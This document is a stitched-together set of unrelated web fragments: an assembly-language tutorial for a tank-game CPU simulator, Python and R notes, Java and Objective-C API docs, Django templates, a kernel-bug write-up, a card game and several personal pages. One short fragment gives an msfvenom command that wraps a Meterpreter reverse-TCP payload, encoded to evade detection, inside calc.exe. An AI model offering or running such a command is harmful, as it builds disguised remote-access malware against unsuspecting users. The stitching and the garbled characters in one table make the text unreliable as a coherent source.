Thanks to Pete Dring for the original idea which can be found at http://pddring.github.io/cpu-battle-tank/.
Any CPU can only work with very simple instructions to carry out any programming task. Battle Tanks is a way of creating instructions for a simulated CPU which produces a visual result for the student. To program the CPU you must use Assembly language which a very low level set of instructions to work with. Assembly language is often even more difficult to comprehend at first than higher level languages e.g. Visual Basic, Python, Smallbasic. Battle tanks gives you an insight into what is going on inside the CPU when you write a program to achieve a particular outcome.
If you were using a high level language to program the tank you would probably used commands such as:
Tank.MoveForward(2) # Moves tank 2 spaces forward Tank.MoveBackward(5) # Moves tank 2 spaces forward Tank.Turn(180) #Turn Tank 180 degrees Tank.Fire() # Fire the gun .. and so on.
The way this CPU simulator works is that it has a register (storage location) called the Accumulator that the user can load values into. These values can then be Output to one of four different channels, each of which controls the tank in a different way. Instructions to control the tank are written in Assembly language, which is then compiled into machine code which the CPU can understand and execute.
Below are the different Outputs channel number that must be used to control the tank...
To fully control the tank, each channel does something different depending on what number is Output to the channel. This is summarised below:
Channel 1 - Movement
0 = Tank Moves Forward 1 = Tank Moves Backwards
Channel 2 - Steering
0 = Tank Turns To Face North 2 = Tank Turns To Face East 4 = Tank Turns To Face South 6 = Tank Turns To Face West
Channel 3 - Aim Gun
0 = Tank Turns To Face North 1 = Tank Trusn To Face North East 2 = Tank Turns To Face East 3 = Tank Turns To Face South East 4 = Tank Turns To Face South 5 = Tank Turns To Face South West 6 = Tank Turns To Face West 7 = Tank Turns To Face North West
Channel 4 - Firing
0 = Fire Gun
To Control the tank, you need to decide what you want the tanks to do with each instruction eg. move, turn, fire and create Assembly language instructions for each step. To complete each instruction, you will have to decide what you want the tank to do, and then load that instruction it the accumulator, the data loaded into the accumulator can then be output to the appropriate output channel.e.g.
LDA 1 // Load the (Data) number 1 into the Accumulator OUT 1 // Output the contents of accumulator to Channel 1 (Movement) HLT - Stop the program
To make writing programs a little easier the programmer can use labels to assign values so that the assembly language is easier to read and the intention of the instruction easier to follow. Comments (instructions ignored when the code is compiled) must be prefaced by a double slash //
// this will be ignored by the compiler.
The basic principle is to decide what you want to do e.g move the tank forwards, load that number (0) into the accumulator and then output the contents of the accumulator to the appropriate output channel (channel 1 for movement)
A first Assembly Language program to move the tank forwards 2 spaces
// Move Forwards LDA Forwards // //uses the label Forwards to load the value 0 into the Accumulator OUT 1 // Move forwards by Outputting value 0 from accumulator to Output Channel 1 OUT 1 // Move forwards by Outputting value 0 from accumulator to Output Channel 1 HLT // stop the CPU //Data Labels - help to simplify code by attaching descriptions to the data values Forwards DAT 0 // assign the value 0 in the Label Forwards Backwards DAT 1 //assign the value 0 in the Label Backwards
Notice that there is no simple way to move more than one space at time, except repeat the Output instruction. This is one feature of low level languages; it often requires more instructions to achieve something that is relatively simple with higher level languages.
An Assembly Language program to move the tank forwards then backwards 2 spaces
// Move Forwards LDA Forwards //uses the label Forwards to load the value 0 into the Accumulator OUT 1 // Move forwards by Outputting value 0 from accumulator to Output Channel 1 OUT 1 // Move forwards by Outputting value 0 from accumulator to Output Channel 1 //Move Backwards LDA Backwards //uses the label Backwards to load the value 1 into the Accumulator OUT 1 // Move Backwards OUT 1 //// Move forwards by Outputting value 1 from accumulator to Output Channel 1 HLT // stop the CPU //Data Labels - help to simplify code by attaching descriptions to the data values Forwards DAT 0 // assign the value 0 in the Label Forwards Backwards DAT 1 //assign the value 1 in the Label Backwards
Turning the tank. The tank can be steered in any one of 4 directions which correspond to compass points. (see the table above).
A simple assembly language program to get the tank to turn right (East):
//Turn Right LDA East //uses the label East to load the value 2 into the Accumulator OUT 2 //Turns the tank to the right (East) by outputting the contents of the Accumulator to Channel 2 HLT //Data Labels - help to simplify code by attaching descriptions to the data values North DAT 0 // assign the value 0 to the Label North East DAT 2 //assign the value 0 to the Label East South DAT 4 // assign the value 0 to the Label South West DAT 6 // assign the value 0 to the Label West
Movement and Turning. Move the tank 2 spaces forwards Turn West and Move 2 spaces Forward
// Move Forwards LDA Forwards OUT 1 OUT 1 //Turn Tank LDA West OUT 2 // Move Forwards LDA Forwards OUT 1 OUT 1 //Data Labels - help to simplify code by attaching descriptions to the data values North DAT 0 // assign the value 0 to the Label North East DAT 2 //assign the value 0 to the Label East South DAT 4 // assign the value 0 to the Label South West DAT 6 // assign the value 0 to the Label West Forwards DAT 0 // assign the value 0 in the Label Forwards Backwards DAT 1 //assign the value 0 in the Label Backwards


MSFVenom has the ability to essentially base itself off of a known executable.
This is also in Tools> Encoders & Obfuscators > MSF
You can attempt to use the -k flag as well, which will try to maintain the executables original function
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=5555 -f exe -e
x86/shikata_ga_nai -i 9 -x calc.exe -o bad_calc.exe


Jennylynnramz
Recently Inspected Las Vegas Restaurants
Choose Another City
Restaurant Health Inspections in Las Vegas
Restaurant Name:
Category:
Inspection Result:
Name
Address
Category
Date of Inspection
Inspection Result
Current Grade
Inspection Type


Browse by voice chrome Extension
Browse by voice manager chrome app.
Install the 'Browse by voice' chrome extension on your PC.
Install the 'Browse by voice Manager' chrome app on your PC.
Go to the 'Device Connect' section and connect to PC by using the session password.
Refer to the 'Voice Commands' section to get started.
Once connected, sit back and enjoy the experience of browsing web by voice.


MBFormattedDescriptionObject Class Reference
| Inherits from | NSObject |
| Conforms to | MBFormattedDescription |
| Declared in | MBFormattedDescriptionObject.h |
Overview
Provides support for basing an object’s description
method on the
MBFieldListFormatter
, for giving objects a way to create more legible
console log output.
Intended to make debugging more efficient by making it easier to see what’s inside an object.
Instance Methods
addDescriptionFieldsTo:
Asks the receiver to add any relevant fields to the passed-in
MBFieldListFormatter
instance.
- (void)addDescriptionFieldsTo:(MBFieldListFormatter *)fmt
Parameters
- fmt
The formatter to which description fields should be added.
Discussion
Note: Subclasses should call super
prior to adding their own fields.
Declared In
MBFormattedDescriptionObject.h
consoleDescription
Uses an MBFieldListFormatter
instance in conjunction with the
addDescriptionFieldsTo:
method to construct a description of the
receiver intended for output to the console.
- (NSString *)consoleDescription
Return Value
The console description.
Declared In
MBFormattedDescriptionObject.h
debugDescriptor
Implemented by subclasses that wish to provide an additional means of identifying an object instance within the debug console.
- (NSString *)debugDescriptor
Return Value
If a non-nil
value is returned by this method, a field named
“debugDescriptor
” will be added to the consoleDescription
.
Discussion
The default implementation returns nil
.
Declared In
MBFormattedDescriptionObject.h
description
Overrides the NSObject
implementation to return the output of
consoleDescription
.
- (NSString *)description
Return Value
The return value of calling the consoleDescription
Declared In
MBFormattedDescriptionObject.h
dump
Writes the output of the receiver’s consoleDescription
method to the console
log.
- (void)dump
Declared In
MBFormattedDescriptionObject.h


1 Fundamentals
1.1 Library Management
1.1.2 Common External Libraries
import numpy as np
import pandas as pd
import datetime as dt
import matplotlib
import matplotlib.pyplot as plt
from plydata import define, query, select, group_by, summarize, arrange, head, rename
import plotnine
from plotnine import *
<IP_ADDRESS> numpy
- Large multi-dimensional array and matrices
- High level mathematical funcitons to operate on them
- Efficient array computation, modeled after matlab
- Support vectorized array math functions (built on C, hence faster than python for loop and list)
<IP_ADDRESS> scipy
- Collection of mathematical algorithms and convenience functions built on the numpy extension
- Built upon numpy
1.1.4 Conda
<IP_ADDRESS> Conda Environment
system("conda info")
<IP_ADDRESS> Package Version
system("conda list")
<IP_ADDRESS> Package Installation
Conda is recommended distribution.
To install from official conda channel:
conda install <package_name> # always install latest
conda install <package_name=version_number>
## Example: Install From conda official channel
conda install numpy
conda install scipy
conda install pandas
conda install matpotlib
conda install scikit-learn
conda install seaborn
conda install pip
To install from conda-forge community channel:
conda install -c conda-forge <package_name>
conda install -c conda-forge <package_name=version_number>
## Example: Install From conda community:
conda install -c conda-forge plotnine
1.1.5 PIP
PIP is python open repository (not part of conda). Use pip if the package is not available in conda.
<IP_ADDRESS> Package Version
system("pip list")
1.2 Everything Is Object
- Every varibales in python are objects
- Every variable assginment is reference based, that is, each object value is the reference to memory block of data
In the below exmaple, a, b and c refer to the same memory location:
- Notice when an object assigned to another object, they refer to the same memory location
- When two variable refers to the same value, they refer to the same memory location
= 123
a = 123
b = a
c print ('Data of a =', a,
'\nData of b =',b,
'\nData of c =',c,
'\nID of a = ', id(a),
'\nID of b = ', id(b),
'\nID of c = ', id(c)
)
#:> Data of a = 123
#:> Data of b = 123
#:> Data of c = 123
#:> ID of a =<PHONE_NUMBER>82240
#:> ID of b =<PHONE_NUMBER>82240
#:> ID of c =<PHONE_NUMBER>82240
Changing data value (using assignment) changes the reference
= 123
a = a
b = 456 # reassignemnt changed a memory reference
a # b memory reference not changed
print ('Data of a =',a,
'\nData of b =',b,
'\nID of a = ', id(a),
'\nID of b = ', id(b)
)
#:> Data of a = 456
#:> Data of b = 123
#:> ID of a =<PHONE_NUMBER>82448
#:> ID of b =<PHONE_NUMBER>82240
1.3 Assignment
1.3.1 Multiple Assignment
Assign multiple variable at the same time with same value. Note that all object created using this method refer to the same memory location.
= y = 'same mem loc'
x print ('x = ', x,
'\ny = ', y,
'\nid(x) = ', id(x),
'\nid(y) = ', id(y)
)
#:> x = same mem loc
#:> y = same mem loc
#:> id(x) =<PHONE_NUMBER>66960
#:> id(y) =<PHONE_NUMBER>66960


- features - Variable in class com.example.colibris.calib.Meet2regress
-
regression features
- features - Variable in class com.example.colibris.calib.Meet2regressGeo
-
features
- features2regress(ArrayList) - Method in class com.example.colibris.calib.Meet2regress
-
convert a list into a matrix that is further used in the regression
- features2regress(ArrayList, ContextData) - Method in class com.example.colibris.calib.Meet2regressGeo
-
put in the good format the parameters before regression
- featuresRaw - Variable in class com.example.colibris.calib.Meet2regressGeo
-
features (raw sound considered
- FILE_MESSAGE - Static variable in class com.example.colibris.configuration.Configuration
-
message type =
- FILE_MESSAGE - Static variable in class com.example.colibris.ui.MainActivity
-
- FILE_READ - Static variable in class com.example.colibris.configuration.Configuration
-
message type = file transmited
- FileActivity - Class in com.example.colibris.ui
-
The FileActivity class permits to plot some data that are related to
the calibrations that took place.
- FileActivity() - Constructor for class com.example.colibris.ui.FileActivity
-
- FileContentActivity - Class in com.example.colibris.ui
-
This FileContentActivity class permits to display the content of a file that
has been selected by the end user
- FileContentActivity() - Constructor for class com.example.colibris.ui.FileContentActivity
-
- FileList - Class in com.example.colibris.ui
-
The FileList class refers to an activity used to display to the end user some calibration related files
- FileList() - Constructor for class com.example.colibris.ui.FileList
-
- FileListener - Interface in com.example.colibris.calib
-
This FileListener interface define when the information has been stored
in the file
- FileManager - Class in com.example.colibris.calib
-
The FileManager class is used to handle file.
- FileManager(String, Boolean, Context) - Constructor for class com.example.colibris.calib.FileManager
-
allocate outputStream and inputstream so as to write or read a file
* during the creation of the file, there are two option : create an empty
* file or append always to the end of the file
isToappend defines if we will append the text at the end of the file
or if instead we erase the file to write the text
- FileManager(String, Boolean, Context, String) - Constructor for class com.example.colibris.calib.FileManager
-
Create a file
allocate outputStream and inputstream so as to write or read a file
during the creation of the file, there are two option : create an empty
file or append always to the end of the file
- fileMessage(String) - Method in class com.example.colibris.ui.FileList
-
display the content of the file in text format
- fileMessage(View) - Method in class com.example.colibris.ui.MainActivity
-
click on the button to plot information
- fileName - Variable in class com.example.colibris.calib.FileManager
-
file name
- files4noise - Variable in class com.example.colibris.calib.Meet
-
sounds recorded by the devices we are meeting with
- fileStatus - Variable in class com.example.colibris.calib.Meet2regressGeo
-
file status
- FileTransferManager - Class in com.example.colibris.nsd
-
This FileTransferManager class implements the transfer of files
(e.g., the connexion graph or the sound)
- FileTransferManager(Socket, Handler, Context, boolean, boolean) - Constructor for class com.example.colibris.nsd.FileTransferManager
-
initialisation
- Filter - Class in com.example.colibris.calib.sound
-
This Filter class is used to correlate two sounds
- Filter(DoubleBuffer, DoubleBuffer, long) - Constructor for class com.example.colibris.calib.sound.Filter
-
noise filtering
- filteredgeoweightedregression - Variable in class com.example.colibris.calib.Meet2regressGeo
-
filtered geo-regression
- filteredGeoWeightedRegressionOutput - Variable in class com.example.colibris.calib.Meet2regressGeo
-
characteristics (string) reflecting the geographical-aware and multivariate regression
- filteredmultiregression - Variable in class com.example.colibris.calib.Meet2regressGeo
-
filtered regression
- filteredRobustRegressionoutput - Variable in class com.example.colibris.calib.Meet2regressGeo
-
characteristics (string) reflecting the robust and multivariate regression
- filterSD - Static variable in class com.example.colibris.comtool.ContextData
-
Standard Deviation of the filterWeight
- filterWeight - Static variable in class com.example.colibris.comtool.ContextData
-
Weight distance Data
- findBestMultipleRegression() - Method in class com.example.colibris.calib.regression.GeographicallyWeightedRegression
-
- findBestMultipleRegression() - Method in class com.example.colibris.calib.regression.MultiRegression.MultivariateRegression
-
created to run sub-samples of the data and find the regression with least median residuals squares
- findBestMultipleRegression() - Method in class com.example.colibris.calib.regression.MultivariateRegression
-
- findBestRegression() - Method in class com.example.colibris.calib.regression.Simpleregression
-
determine the best regression using robust regression
- findIntersectionTime(Long, ArrayList<String>, boolean, boolean) - Method in class com.example.colibris.calib.FileManager
-
finds intersecion time
- FLAG - Variable in class com.example.colibris.comtool.ContextData
-
show if the device is the server or the client for providing or receiving the time.
- flagLinearCase - Variable in class com.example.colibris.calib.Meet2regressGeo
-
is a linear case
- follow_to_robustly_calibrate() - Method in class com.example.colibris.calib.Meet
-
robust calibration is performed during this meeting
- follow_to_simply_calibrate() - Method in class com.example.colibris.calib.Meet
-
perform a simple calibration (find the best simple calibration
- from() - Method in class com.example.colibris.multi.graph.DirectedEdge
-
Returns the tail vertex of the directed edge.
- from() - Method in class com.example.colibris.multi.hypergraph.HyperEdge
-
returns the source of the hyperedge
- fValue - Variable in class com.example.colibris.calib.regression.GeographicallyWeightedRegression
-
r squared of the entire regression


{% extends "base_generic.html" %} {% block pagetitle %}{{ project.client }} {{ project.project_type }} Details{% endblock %} {% block content %}
{{ project.note }}
{% else %}No additional information provided for this project.
{% endif %}| Operator | Role | Start Date | End Date | Note | Options | ||
|---|---|---|---|---|---|---|---|
| {{ operator.operator.name }} | {{ operator.role }} | {% if operator.start_date %}{{ operator.start_date }} | {% else %}{% endif %} {% if operator.end_date %} | {{ operator.end_date }} | {% else %}{% endif %} | {{ operator.note|linebreaksbr }} |
No operators have been assigned to this project yet.
{% endif %}| Domain Name | Purpose | Date Range | Note | Options |
|---|---|---|---|---|
| {{ domain.domain.name }} | {{ domain.activity_type }} | {{ domain.start_date }} to {{ domain.end_date }} | {{ domain.note|linebreaksbr }} |
There are no domains tied to this project yet.
{% endif %}Checked-out servers will appear here. Add transient servers (i.e. virtual private servers) here as they are spun up for the project so they can be easily tracked and associated with domains and activities.
| IP Address | Purpose | Role | Provider | Note | Options |
|---|---|---|---|---|---|
| {{ server.server.ip_address }} | {{ server.activity_type }} | {{ server.server_role }} | {{ server.server.server_provider }} | {{ server.note }} | |
| {{ server.ip_address }} | {{ server.activity_type }} | {{ server.server_role }} | {{ server.server_provider }} | {{ server.note|linebreaksbr }} |
There are no servers tied to this project yet.
{% endif %}Add an association to track which of this project's currently checked-out domains is being used with which project server.
Add a Domain + Server Association
{% if project.domainserverconnection_set.all %}| Domain | Server | CDN Endpoint | Options | ||
|---|---|---|---|---|---|
| {{ connection.subdomain }}.{{ connection.domain.domain.name }} | {% if connection.static_server %}{{ connection.static_server.server.ip_address }} | {% else %}{{ connection.transient_server.ip_address }} | {% endif %} {% if connection.endpoint %}{{ connection.endpoint }} | {% else %}No Endpoint | {% endif %}
Check-out/add at least one domain and one server to create an association.
{% endif %}{{ report.title }}
| Severity | Finding | Owner | Status | ||||||
|---|---|---|---|---|---|---|---|---|---|
| {{ finding.severity }} | {% elif finding.severity.severity == "Medium" %}{{ finding.severity }} | {% elif finding.severity.severity == "Low" %}{{ finding.severity }} | {% else %}{{ finding.severity }} | {% endif %}{{ finding.title }} | {% if finding.assigned_to == request.user %} {% if finding.complete %}You | {% else %}You | {% endif %} {% else %}{{ finding.assigned_to }} | {% endif %} {% if finding.complete %}Ready for Review | {% else %}Needs Editing | {% endif %}
No findings have been added to this project's reports yet.
{% endif %} {% endfor %} {% else %}No reports have been created for this project yet.
{% endif %}The project is marked as complete so no additional reports may be created.
{% else %} {% endif %} {% if project.report_set.all %}| Creation | Title | Last Update | Status | Created by | Options | |
|---|---|---|---|---|---|---|
| {{ report.creation }} | {{ report.title }} | {{ report.last_update }} | {% if report.complete %}Complete | {% else %}In Progress | {% endif %}{{ report.created_by }} |
No reports have been created for this project yet.
{% endif %}{{ note.timestamp }}
{{ note.note|linebreaksbr }}
{{ note.operator.username }}No notes for this project.
{% endif %}


Star (
-
)
Watch (
-
)
Introduction to R
About the author
Questions and Issues
Edit and Contribute
Introduction
1.
Introduction to R
1.1.
Data Structures
1.2.
Subsetting
1.3.
Control Structures
1.4.
Functions
1.5.
Vectorization
2.
Data Wrangling
2.1.
Tidy Data
2.2.
Reshape
2.3.
Summarize
2.4.
Split Apply Combine
2.5.
Split Apply Combine 2
3.
Data Visualization
3.1.
Base Graphics
3.2.
Grammar of Graphics
3.3.
Interactive Graphics
Introduction to R
These are notes for an introductory R workshop I am teaching for Python Programmers.


---
layout: post
title: The wine of life was drawn long since.
date: '2009-06-30T11:35:00.004-05:00'
author: Jabell
tags:
- Quotes
- Fiction
- Literature
- Books
modified_time: '2009-06-30T11:43:15.229-05:00'
blogger_id: tag:blogger.com,1999:blog-19739956.post-7775077759067605190
blogger_orig_url: http://theabellsix.blogspot.com/2009/06/wine-of-life-was-drawn-long-since.html
---
But in the Tolkienian world you can hardly put your foot down anywhere from Esgaroth to Forlindon or between Ered Mithrin and Khand, without stirring the dust of history. Our own world, except at certain rare moments, hardly seems so heavy with its past. This is one element in the anguish which the characters bear. But with the anguish there comes also a strange exaltation. They are at once stricken and upheld by the memory of vanished civilisations and lost splendour. They have outlived the second and third Ages; the wine of life was drawn long since. As we read we find ourselves sharing their burden; when we have finished, we return to our own life not relaxed but fortified.
—C. S. Lewis, "Tolkien's The Lord of the Rings," On Stories and Other Essays on Literature, p. 86.


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Apple XNU Kernel segment overflow
April, 2019
Introduction
KernelTextRegion read-only is a security mitigation done by Apple to prevent patches to the kernel's critical parts.
It protects the kernel's __TEXT segment where crucial parts, such as pagetables are located and also prevents system register access to fake pages.
Well-known iOS hacker S1guza analyzed this mitigation a while ago and sadly I had to conclude that Apple did a great job with this mitigation to make it harder for people to bootstrap a secondary bootchain (kloader64) or create an extensive kernel debugger.
However, as s1guza described in his write-up initialization flaws may lead to compromising the kernel text region before it is locked as read-only.
In short, the kernel firstly starts building pagetables and then gives the entries segmentation with access rights.
These access rights define whether the segment is readable, writeable, executable a combination of these rights or completely inaccessible.
We know that accessing invalid memory or with improper access rights will result in a pagefault which the kernel will solve with a panic.
We thus have two ways to attack the kernel's initialization:
- By exploiting it to such an extend that we can modify the segmentation rights
- By exploiting it to such an extend that we can craft fake pages.
- By exploiting it to such an extend that the MMU is turned off, but thats going to be hard and unlikely.
We also know that XNU source code is publicly available and therefore we can pursuit two strategies to find a flaw suitable for one of the conditions above.
We can either use American Fuzzy Lop or another fuzzer to fuzz the initialization or manually do static analysis on the kernel.

The question is if fuzzing will be a good idea at initialization stage because it is really a low-level close to hardware.
Therefore I decided to go for static analysis.
We know that the kernel holds one segment that is widely controllable to a certain extend: The stack.
We also know that the stack must be initialized at some point during initialization.
Therefore I decided to look at options to interact with stack initialization.
Surprisingly I found an amazing flaw in the initialization that is easier to trigger than I could ever think.
Hypothese
...
Results
A segment overflow exists in XNU early boot initialization as one can pass a boot-argument later used to calculate the kernel stack size.
However, this boot-argument is only treated by the bootloader on environments that have a less restrictive boot process.
Conclusion
...


|
Subtracts the source operand from the destination operand and stores the difference in the destination location. The destination operand is always an FPU data register; the source operand can be a register or a memory location. Source operands in memory can be in single-precision or double-precision floating-point format or in word or doubleword integer format.
The no-operand version of the instruction subtracts the contents of the ST(0) register from the ST(1) register and stores the result in ST(1). The one-operand version subtracts the contents of a memory location (either a floating-point or an integer value) from the contents of the ST(0) register and stores the result in ST(0). The two-operand version, subtracts the contents of the ST(0) register from the ST(i) register or vice versa.
The FSUBP instructions perform the additional operation of popping the FPU register stack following the subtraction. To pop the register stack, the processor marks the ST(0) register as empty and increments the stack pointer (TOP) by 1. The no-operand version of the floating-point subtract instructions always results in the register stack being popped. In some assemblers, the mnemonic for this instruction is FSUB rather than FSUBP.
The FISUB instructions convert an integer source operand to double extended-precision floating-point format before performing the subtraction.
The following table shows the results obtained when subtracting various classes of numbers from one another, assuming that neither overflow nor underflow occurs. Here, the Source value is subtracted from the Destination value (Destination - Source = result).
When the difference between two operands of like sign is 0, the result is +0, except for the round toward -infinite mode, in which case the result is -0. This instruction also guarantees that +0 - (-0) = +0, and that -0 - (+0) = -0. When the source operand is an integer 0, it is treated as a +0.
When one operand is infinite, the result is infinite of the expected sign. If both operands are infinite of the same sign, an invalid-operation exception is generated.
FSUB/FSUBP/FISUB Results
| - Source: -inf | Source: -F or -I | Source: -0 | Source: +0 | Source: +F or +I | Source: +inf | Source: NaN |
| Destination: -inf | * | -inf | -inf | -inf | -inf | -inf | NaN |
| Destination: -F | +inf | Ã�â��Ã�Â±F | or | Ã�â��Ã�Â±0 | Destination | Destination | -F | -inf | NaN |
| Destination: -0 | +inf | -Source | Ã�â��Ã�Â±0 | -0 | -Source | -inf | NaN |
| Destination: +0 | +inf | -Source | +0 | Ã�â��Ã�Â±0 | -Source | -inf | NaN |
| Destination: +F | +inf | +F | Destination | Destination | Ã�â��Ã�Â±F | or | Ã�â��Ã�Â±0 | -inf | NaN |
| Destination: +inf | +inf | +inf | +inf | +inf | +8 | * | NaN |
| Destination: NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN |
| F Means finite floating-point value. |
| I Means integer. |
| * Indicates floating-point invalid-arithmetic-operand (#IA) exception. |
|


My main research interest lies in the observational study of active galactic nuclei (AGNs) and their host galaxies. The central engine of AGNs is powered by accretion of matter (in the form of accretion disk) into supermassive black hole. The produced energy is then released as radiation, winds, and/or jets. The primary focus of my work is to investigate the origin, physical processes, and evolution of these objects.
My previous works include study of type 1 AGNs by using SDSS spectra and combined with multiwavelength catalogs (ROSAT, GALEX, 2MASS, FIRST, etc.). Some of these objects are then observed further with MRES echelle spectrograph in TNO 2.4 m telescope (Thailand). By utilizing these rich datasets, we can explore type 1 AGN population statistical properties and understand the physics behind emission lines (i.e. the Baldwin effect and eigenvector 1 correlation). We can also investigate the feedback mechanism by radiation and jets, and examined the physical trends (e.g. mass, accretion rate, metallicity, orientation, ionization parameter, etc.) in the proposed "H-R diagram" for type 1 AGN.
As part of my research, I work closely with LOFAR radio survey. The aims of this study are to characterize radio AGN population by using brand new observation from LOFAR. By constructing radio AGN luminosity function, we can study the different modes of black hole accretion out to unprecedented distances, providing critical constraints on models of black hole formation and AGN unification theories.
Most of my publications can be found through the links below. I usually store my scientific results in ResearchGate while popular articles about astronomy were posted in XploreAstro. You can also find my refereed journal articles via NASA/ADS.


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Full-featured Asset Management, DCIM and CMDB system for data center and back office.
It is an Open Source project provided on Apache v2.0 License.
Customize your installation in flexible way.
For example if you need simple Asset Management system for Back Office, just enable `Assets` module.
There are much more features available for your thousands of machines, though !
Ralph was initially created in the Allegro Group for internal use. But quickly it was adopted by other Companies. It is complete free open source software licensed on Apache License 2.0 and yes, we accept patches :)


Hi, I’m Peggy, a multidisciplinary designer
based in Ann Arbor. I believe in human-centered
design and creates meaningful design solutions.
Hi, I’m Peggy, a multidisciplinary designer
based in Ann Arbor. I believe in human-centered
design and creates meaningful design solutions.


<EMAIL_ADDRESS>121 King Street, Melbourne, Australia
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Sneakernet
ACTION
Everyone chooses one card to pass to the left. If your hand is empty, you just receive a card (don’t have to draw or pass.
Internet Blackout
GOAL
- Political Activity
- Any Country
- ISPs
Merger Consolidation
RULE
Only 1 keeper is needed to win.
Restoring a quorum
RULE
Draw 2, Play 2.
Government requires encrypted back doors
RULE
Draw 1, Discard 4.
Power outage
RULE
All technology keepers cannot be used.
Technical solution to a social problem
RULE
Only technology keepers can be used.
Power restored
RULE
Replaces the Power Outage rule if in play.
Recent terrorist attack
RULE
Goals of Privacy, Legislative Win, Policy Change cannot be met while this rule is in play.
Thwart the Surveillance Agencies
RULE
If Full disk encryption is on the table, anyone can use it to win.
High powered lawyer
KEEPER
RFC (Request for Comments)
KEEPER
Corporate Lobbyist
KEEPER
Political Activity
KEEPER
Progressive Hosting Organization
KEEPER
Full Disk Encryption
KEEPER
Peer to Peer (P2P)
KEEPER
Editorial Review
ACTION
Discard half of any individual player's hand. You pick who is under editorial review.
Zero Day
ACTION
Take 1 card from up to half the players.
Data breach
ACTION
One player has to show their hand.
Ransomware
ACTION
Take all but 1 of one player's cards. You pick which player.
Mandatory Internet ID (China bans anonymous posting)
ACTION
All players show keepers in their hands.
GPDR goes into effect
RULE
The Privacy goal can be met with just 1 keeper.
Zero Rating
ACTION
Play as many cards as you want on your turn.
Classified information leaked
ACTION
Every player holding a surveillance agency has to play their keeper. Keeper limits are not enforced.
Build an Alliance
ACTION
Count the number of players in the game (including yourself). Draw enough cards to give 1 card to each player, and then distribute them evenly amongst all the players.
Share the Wealth
ACTION
Gather up all the keepers on the table. Shuffle them together, then deal them out,giving the first card to yourself. Everyone will probably end up with a different number of Keepers in play than they started with.
Today’s Special
ACTION
Set your hand aside and draw 3 cards. If today is your birthday, play all 3 cards. If today is a holiday or special anniversary, play 2 of the cards. If it’s just another day, play only 1 card. Discard the remainder.
Congress changes hands
ACTION
Reset to Basic Rules. Discard all new rule cards, and leave only the basic rules in play. Do not discard the current Goal.
Internet Blackout
GOAL
- Political Activity
- Any Country
- ISPs
Reverse an Internet Shutdown
GOAL
- Civil Society
- Advocacy
- UN
Net neutrality
GOAL
- FCC
- EU
- Any non-US, non-EU country
Win a Scotus Case
GOAL
- High Powered Lawyer
- Legal Brief
- USA
Coalition
GOAL
- Tech Company
- Civil Society
Regulatory win
GOAL
- File Comments
- High powered lawyer
Surveil all the things
GOAL
Universal Digital Rights
GOAL
- Civil Society
- 2 Countries
- No surveillance agencies on the table
Vulnerabilities Equities Process (VEP)
GOAL
Government Hacking
GOAL
- Any surveillance agency
- Hackers
Zero Knowledge Server
GOAL
- Full Disk Encryption
- Progressive Hosting Organization
Thwart the FBI
GOAL
- Full Disk Encryption
- Progressive Hosting Organization
- Subpoena


public interface Authorizer
The Gatekeeper does not intrinsically implement any particular means of authenticating and authorizing the users for whom it is handling reservations. Instead, it calls upon an object implementing this interface, which it instantiates at server startup time. The server takes the fully qualified class name of the class of Authorizer to instantiate from the "conf.gatekeeper.authorizer" configuration property.
In addition to implementing this interface, an Authorizer class must also provide a zero-argument constructor).
| Modifier and Type | Method and Description |
|---|---|
void |
initialize(Gatekeeper gatekeeper)
Do whatever initialization is required to begin issuing reservations.
|
void |
reserve(String protocol,
String context,
String id,
String name,
String password,
ReservationResultHandler handler)
Service a request to make a reservation.
|
void |
setPassword(String id,
String oldPassword,
String newPassword,
SetPasswordResultHandler handler)
Service a request to change a user's password.
|
void |
shutdown()
Do any work required prior to shutting down the server.
|
void initialize(Gatekeeper gatekeeper)
gatekeeper
- The Gatekeeper this Authorizer is providing
authorization services for.void reserve(String protocol, String context, String id, String name, String password, ReservationResultHandler handler)
handleReservation()
method.protocol
- The protocol the reservation seeker wants to use.context
- The context they wish to enter.id
- The user who is asking for the reservation.name
- Optional legible name for the user.password
- Password tendered for entry, if relevent.handler
- Object to receive results of reservation check, once
available.void setPassword(String id, String oldPassword, String newPassword, SetPasswordResultHandler handler)
handle()
method.id
- The user who is asking for this.oldPassword
- Current password, to check for permission.newPassword
- The new password.handler
- Object to receive results, when done.void shutdown()
Copyright © 2017. All rights reserved.


{% extends "template.html" %} {% block content %}
Reservation
Reserve a seat at your favourite restaurant.
{% for restaurant in restaurants %}
{{ restaurant["name"]}} at {{ restaurant["address"]}}
{% endfor %}
{% endblock %}


{% load staticfiles %}
This webpage was served by the AUVSI SUAS competition web server. This is a placeholder for the administration interface.


Create Attacker:
Left click and drag your scissor icon to the top, middle, or bottom path.
Create Defender:
Left click and drag your defender icon to a colored drop zone on your side of the game board.
Time Release:
Time the drop release of your attackers or defenders with the moving meter at the top of the screen. Releasing in the middle will give you the strongest, blue will give you the weakest, and red will give you the average.
Mission:
The other player is trying to cut off your precious locks of hair! Defend yourself by placing turrets and sending out some attackers of your own. The first player to collect all of the other player's hair wins!
Resource Points:
-Defenders cost 3
-Attackers cost 2
Time:
3 additional points will be given every 10 seconds. You also gain 1 resource point by destroying an enemy scissor!


Master of Science in Computer Science from RWTH Aachen University
C#, Java
Basics in C and Rust
.NET 6, AWS, Git
SQL, PL/SQL, MongoDB
Docker, Linux
Software Developer at Brillux GmbH & Co. KG
2013 - 2016
Software Developer at renntronic GmbH
2017 to present
at ibau GmbH
2021 to present
Dominik Bittner © 2022. All rights reserved. Impressum


{% block stylesheets %}
{% endblock%}
Toggle navigation
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{%block scripts %} {% endblock%}


Looking into NSE, Karvy issues: SEBI
by Special CorrespondentSEBI has taken note of the frequent technical glitches at the National Stock Exchange (NSE) and will take up the matter with the bourse, which has a near monopoly in the equity derivatives segment.
“This is something that should not happen. We will call them soon. We will fix this,” said Mr. Tyagi when asked about the glitches at NSE.
On the matter of Karvy Stock Broking wherein clients have alleged delay in payouts, the SEBI Chairman said that the regulator was examining the matter.
Meanwhile, the SEBI has amended the listing and disclosure norms to reduce the overall time line for a rights issue from the current 55 days to 31 days.


AXIOM DESIGN SYSTEM
FIGHT FOR THE DESIGN ESSENTIALS WE LOVE
Jack Works
Developer
Losses Don
UTL_1138
Designer


Bubble Trouble 2.0
Instructions
Use the arrows to move left & right
Press the SPACEBAR to shoot
Force bubbles into the ceiling for Bonus Points!
Don't get hit!
Watch the timer!
Start Game


